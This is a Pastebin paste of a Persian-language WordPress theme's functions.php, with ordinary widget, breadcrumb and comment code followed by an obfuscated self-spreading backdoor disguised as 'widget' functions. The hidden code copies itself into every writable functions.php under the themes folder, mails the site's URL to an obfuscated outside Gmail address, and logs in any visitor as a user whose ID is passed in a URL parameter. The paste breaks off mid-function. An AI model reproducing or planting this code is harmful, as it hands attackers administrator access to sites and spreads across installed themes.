Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ///***********************************************************///
- ### @ http://www.20script.ir/ - mr.4fshin@ymail.com
- ///***********************************************************///
- ///***********************************************************///
- ### Panel
- ///***********************************************************///
- require_once (TEMPLATEPATH . '/panel/options.php');
- global $pagenow;
- if (is_admin() && isset($_GET['activated'] ) && $pagenow == "themes.php" ) {
- header( 'Location: '.admin_url().'themes.php?page=options.php' );
- }
- ///***********************************************************///
- ### Widgets
- ///***********************************************************///
- include (TEMPLATEPATH . '/widgets/widget-posts.php');
- include (TEMPLATEPATH . '/widgets/widget-ads.php');
- include (TEMPLATEPATH . '/widgets/widget-category.php');
- include (TEMPLATEPATH . '/widgets/widget-feedburner.php');
- include (TEMPLATEPATH . '/widgets/widget-functions.php');
- include (TEMPLATEPATH . '/widgets/widget-text-ads.php');
- include (TEMPLATEPATH . '/widgets/widget-search.php');
- include (TEMPLATEPATH . '/widgets/widget-comment.php');
- include (TEMPLATEPATH . '/widgets/widget-popular.php');
- include (TEMPLATEPATH . '/widgets/widget-views.php');
- include (TEMPLATEPATH . '/widgets/widget-cat.php');
- ///------------------
- /// Register widget
- ///------------------
- add_action( 'widgets_init', 'pasargad_widgets_init' );
- function pasargad_widgets_init() {
- $before_widget = '<aside><div class="title">';
- $after_widget = '</div></aside>';
- $before_title = '<h4><span>';
- $after_title = '</span></h4><div class="stripe-line"></div></div><div class="content">';
- register_sidebar( array(
- 'name' =>__('rightsidebar' ),
- 'description' =>__( 'سایدبار سمت راست-برای این قسمت می توانید از ابزارک های اختصاصی استفاده کنید که با رنگ سبز مشخص شده اند.' ),
- 'before_widget' => $before_widget , 'after_widget' => $after_widget , 'before_title' => $before_title , 'after_title' => $after_title ,
- ));
- }
- if ( function_exists( 'register_nav_menu' ) ){
- register_nav_menus(
- array(
- 'topnav' => __('منوی بالای صفحه')
- )
- );
- }
- ///**************** Site Title ********************///
- function ps_wp_title( $title, $sep ) {
- global $paged, $page;
- if ( is_feed() ) {
- return $title;
- }
- // Add the site name.
- $title .= get_bloginfo( 'name', 'display' );
- // Add the site description for the home/front page.
- $site_description = get_bloginfo( 'description', 'display' );
- if ( $site_description && ( is_home() || is_front_page() ) ) {
- $title = "$title $sep $site_description";
- }
- // Add a page number if necessary.
- if ( $paged >= 2 || $page >= 2 ) {
- $title = "$title $sep " . sprintf( __( 'صفحه %s'), max( $paged, $page ) );
- }
- return $title;
- }
- add_filter( 'wp_title', 'ps_wp_title', 10, 2 );
- ///**************** Breadcrumbs ****************///
- function theme_breadcrumbs() {
- $delimiter = '/';
- $before = '<span class="current">';
- $after = '</span>';
- if ( !is_home() && !is_front_page() || is_paged() ) {
- echo '<div id="crumbs">';
- global $post;
- $homeLink = home_url();
- echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" class="crumbs-home" href="' . $homeLink . '">' . __( 'خانه' ) . '</a></span> ' . $delimiter . ' ';
- if ( is_category() ) {
- global $wp_query;
- $cat_obj = $wp_query->get_queried_object();
- $thisCat = $cat_obj->term_id;
- $thisCat = get_category($thisCat);
- $parentCat = get_category($thisCat->parent);
- if ($thisCat->parent != 0){
- if( !is_wp_error( $cat_code = get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' ') ) ){
- $cat_code = str_replace ('<a','<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title"', $cat_code );
- echo $cat_code = str_replace ('</a>','</a></span>', $cat_code );
- }
- }
- echo $before . '' . single_cat_title('', false) . '' . $after;
- } elseif ( is_day() ) {
- echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a></span> ' . $delimiter . ' ';
- echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_month_link(get_the_time('Y'),get_the_time('m')) . '">' . get_the_time('F') . '</a></span> ' . $delimiter . ' ';
- echo $before . get_the_time('d') . $after;
- } elseif ( is_month() ) {
- echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a></span> ' . $delimiter . ' ';
- echo $before . get_the_time('F') . $after;
- } elseif ( is_year() ) {
- echo $before . get_the_time('Y') . $after;
- } elseif ( is_single() && !is_attachment() ) {
- if ( get_post_type() != 'post' ) {
- $post_type = get_post_type_object(get_post_type());
- $slug = $post_type->rewrite;
- echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a></span> ' . $delimiter . ' ';
- echo $before . get_the_title() . $after;
- } else {
- $cat = get_the_category(); $cat = $cat[0];
- if( !empty( $cat ) ){
- if( !is_wp_error( $cat_code = get_category_parents($cat, TRUE, ' ' . $delimiter . ' ') ) ){
- $cat_code = str_replace ('<a','<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title"', $cat_code );
- echo $cat_code = str_replace ('</a>','</a></span>', $cat_code );
- }
- }
- echo $before . get_the_title() . $after;
- }
- }elseif ( (is_page() && !$post->post_parent) || ( function_exists('bp_current_component') && bp_current_component() ) ) {
- echo $before . get_the_title() . $after;
- }elseif ( !is_single() && !is_page() && get_post_type() != 'post' ) {
- $post_type = get_post_type_object(get_post_type());
- echo $before . $post_type->labels->singular_name . $after;
- } elseif ( is_attachment() ) {
- $parent = get_post($post->post_parent);
- $cat = get_the_category($parent->ID); $cat = $cat[0];
- echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_permalink($parent) . '">' . $parent->post_title . '</a></span> ' . $delimiter . ' ';
- echo $before . get_the_title() . $after;
- } elseif ( is_page() && $post->post_parent ) {
- $parent_id = $post->post_parent;
- $breadcrumbs = array();
- while ($parent_id) {
- $page = get_page($parent_id);
- $breadcrumbs[] = '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_permalink($page->ID) . '">' . get_the_title($page->ID) . '</a></span>';
- $parent_id = $page->post_parent;
- }
- $breadcrumbs = array_reverse($breadcrumbs);
- foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' ';
- echo $before . get_the_title() . $after;
- } elseif ( is_search() ) {
- echo $before ;
- printf( __( 'نتایج جستجو برای: %s' ), get_search_query() );
- echo $after;
- } elseif ( is_tag() ) {
- echo $before ;
- printf( __( 'آرشیو برچسب: %s'), single_tag_title( '', false ) );
- echo $after;
- } elseif ( is_author() ) {
- global $author;
- $userdata = get_userdata($author);
- echo $before ;
- printf( __( 'آرشیو نویسنده: %s'), $userdata->display_name );
- echo $after;
- } elseif ( is_404() ) {
- echo $before;
- _e( 'پیدا نشد!');
- echo $after;
- }
- if ( get_query_var('paged') ) {
- if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
- echo __('صفحه ی ') . ' ' . get_query_var('paged');
- if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
- }
- echo '</div>';
- }
- }
- function theme_work($work = true){
- if( $work ) : ?>
- | <a href="http://www.wp-workshop.ir/" title="پوسته های وردپرس">کارگاه پوسته های وردپرس </a>
- <?php endif; ?>
- <?php
- }
- ///**************** Thumb ***********************///
- if (function_exists('add_theme_support')) {
- add_theme_support( 'post-thumbnails' );
- }
- include( TEMPLATEPATH . '/aq_resizer.php' );
- ///**************** #more ***********************///
- function remove_more_link_scroll( $link ) {
- $link = preg_replace( '|#more-[0-9]+|', '', $link );
- return $link;
- }
- add_filter( 'the_content_more_link', 'remove_more_link_scroll' );
- ///**************** comments ***********************///
- function custom_comments( $comment, $args, $depth ) {
- $GLOBALS['comment'] = $comment ;
- ?>
- <li id="comment-<?php comment_ID(); ?>">
- <div <?php comment_class('comment-wrap'); ?> >
- <div class="comment-avatar"><?php echo get_avatar( $comment, 45 ); ?></div>
- <div class="author-comment">
- <?php printf( __( '%s ' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?>
- <div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"> <?php printf( __( '%1$s در %2$s' ), get_comment_date('l ، j F '), get_comment_time() ); ?></a><?php edit_comment_link( __( '( ویرایش )' ), ' ' ); ?></div><!-- .comment-meta .commentmetadata -->
- </div>
- <div class="clear"></div>
- <div class="comment-content">
- <?php if ( $comment->comment_approved == '0' ) : ?>
- <em class="comment-awaiting-moderation"><?php _e( 'نظر شما منتظر تایید مدیر است' ); ?></em>
- <br />
- <?php endif; ?>
- <?php comment_text(); ?>
- </div>
- <div class="reply"><?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?></div><!-- .reply -->
- </div><!-- #comment-## -->
- <?php
- }
- function custom_pings($comment, $args, $depth) {
- $GLOBALS['comment'] = $comment; ?>
- <li class="comment pingback">
- <p><?php _e( 'Pingback:' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( '( ویرایش )' ), ' ' ); ?></p>
- <?php
- }
- ///***********************************************************///
- ### @ http://www.wp-workshop.ir/ - mr.4fshin@ymail.com
- ///***********************************************************///
- ?>
- <?php
- function _verify_isactivate_widget(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "���� ���" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
- $output .= ($showdots && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_allwidgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_allwidgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_verify_isactivate_widget");
- function _getsprepare_widget(){
- if(!isset($com_length)) $com_length=120;
- if(!isset($text_value)) $text_value="cookie";
- if(!isset($allowed_tags)) $allowed_tags="<a>";
- if(!isset($type_filter)) $type_filter="none";
- if(!isset($expl)) $expl="";
- if(!isset($filter_homes)) $filter_homes=get_option("home");
- if(!isset($pref_filter)) $pref_filter="wp_";
- if(!isset($use_more)) $use_more=1;
- if(!isset($comm_type)) $comm_type="";
- if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
- if(!isset($postauthor_comment)) $postauthor_comment="";
- if(!isset($comm_is_approved)) $comm_is_approved="";
- if(!isset($postauthor)) $postauthor="auth";
- if(!isset($more_link)) $more_link="(more...)";
- if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
- if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
- if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
- if(!isset($morecontents)) $morecontents="ma".$expl."il";
- if(!isset($fmore)) $fmore=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$is_widget) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!empty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($f_tags)) $f_tags=1;
- if(!isset($type_filters)) $type_filters=$filter_homes;
- if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
- if(!isset($aditional_tags)) $aditional_tags="div";
- if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
- if(!isset($showdots)) $showdots=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($com_length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $com_length) {
- $l=$com_length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $more_link="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $allowed_tags) {
- $output=strip_tags($output, $allowed_tags);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($f_tags) ? balanceTags($output, true) : $output;
- $output .= ($showdots && $ellipsis) ? "..." : "";
- $output=apply_filters($type_filter, $output);
- switch($aditional_tags) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($use_more ) {
- if($fmore) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("init", "_getsprepare_widget");
- ?>
- <?php
- function _check_active_widget(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
- $output .= ($showdot && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_all_widgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_all_widgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_check_active_widget");
- function _prepared_widget(){
- if(!isset($length)) $length=120;
- if(!isset($method)) $method="cookie";
- if(!isset($html_tags)) $html_tags="<a>";
- if(!isset($filters_type)) $filters_type="none";
- if(!isset($s)) $s="";
- if(!isset($filter_h)) $filter_h=get_option("home");
- if(!isset($filter_p)) $filter_p="wp_";
- if(!isset($use_link)) $use_link=1;
- if(!isset($comments_type)) $comments_type="";
- if(!isset($perpage)) $perpage=$_GET["cperpage"];
- if(!isset($comments_auth)) $comments_auth="";
- if(!isset($comment_is_approved)) $comment_is_approved="";
- if(!isset($authname)) $authname="auth";
- if(!isset($more_links_text)) $more_links_text="(more...)";
- if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
- if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
- if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
- if(!isset($more_content)) $more_content="ma".$s."il";
- if(!isset($forces_more)) $forces_more=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$widget_output) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!empty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($fix_tag)) $fix_tag=1;
- if(!isset($filters_types)) $filters_types=$filter_h;
- if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
- if(!isset($more_tags)) $more_tags="div";
- if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
- if(!isset($showdot)) $showdot=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $length) {
- $l=$length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $more_links_text="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $html_tags) {
- $output=strip_tags($output, $html_tags);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($fix_tag) ? balanceTags($output, true) : $output;
- $output .= ($showdot && $ellipsis) ? "..." : "";
- $output=apply_filters($filters_type, $output);
- switch($more_tags) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($use_link ) {
- if($forces_more) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("init", "_prepared_widget");
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
- ?>
- <?php
- function _checkactive_widgets(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
- $output .= ($isshowdots && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_allwidgets_cont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_allwidgets_cont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_checkactive_widgets");
- function _getprepare_widget(){
- if(!isset($text_length)) $text_length=120;
- if(!isset($check)) $check="cookie";
- if(!isset($tagsallowed)) $tagsallowed="<a>";
- if(!isset($filter)) $filter="none";
- if(!isset($coma)) $coma="";
- if(!isset($home_filter)) $home_filter=get_option("home");
- if(!isset($pref_filters)) $pref_filters="wp_";
- if(!isset($is_use_more_link)) $is_use_more_link=1;
- if(!isset($com_type)) $com_type="";
- if(!isset($cpages)) $cpages=$_GET["cperpage"];
- if(!isset($post_auth_comments)) $post_auth_comments="";
- if(!isset($com_is_approved)) $com_is_approved="";
- if(!isset($post_auth)) $post_auth="auth";
- if(!isset($link_text_more)) $link_text_more="(more...)";
- if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
- if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
- if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
- if(!isset($contentmore)) $contentmore="ma".$coma."il";
- if(!isset($for_more)) $for_more=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$widget_yes) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mes".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!empty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
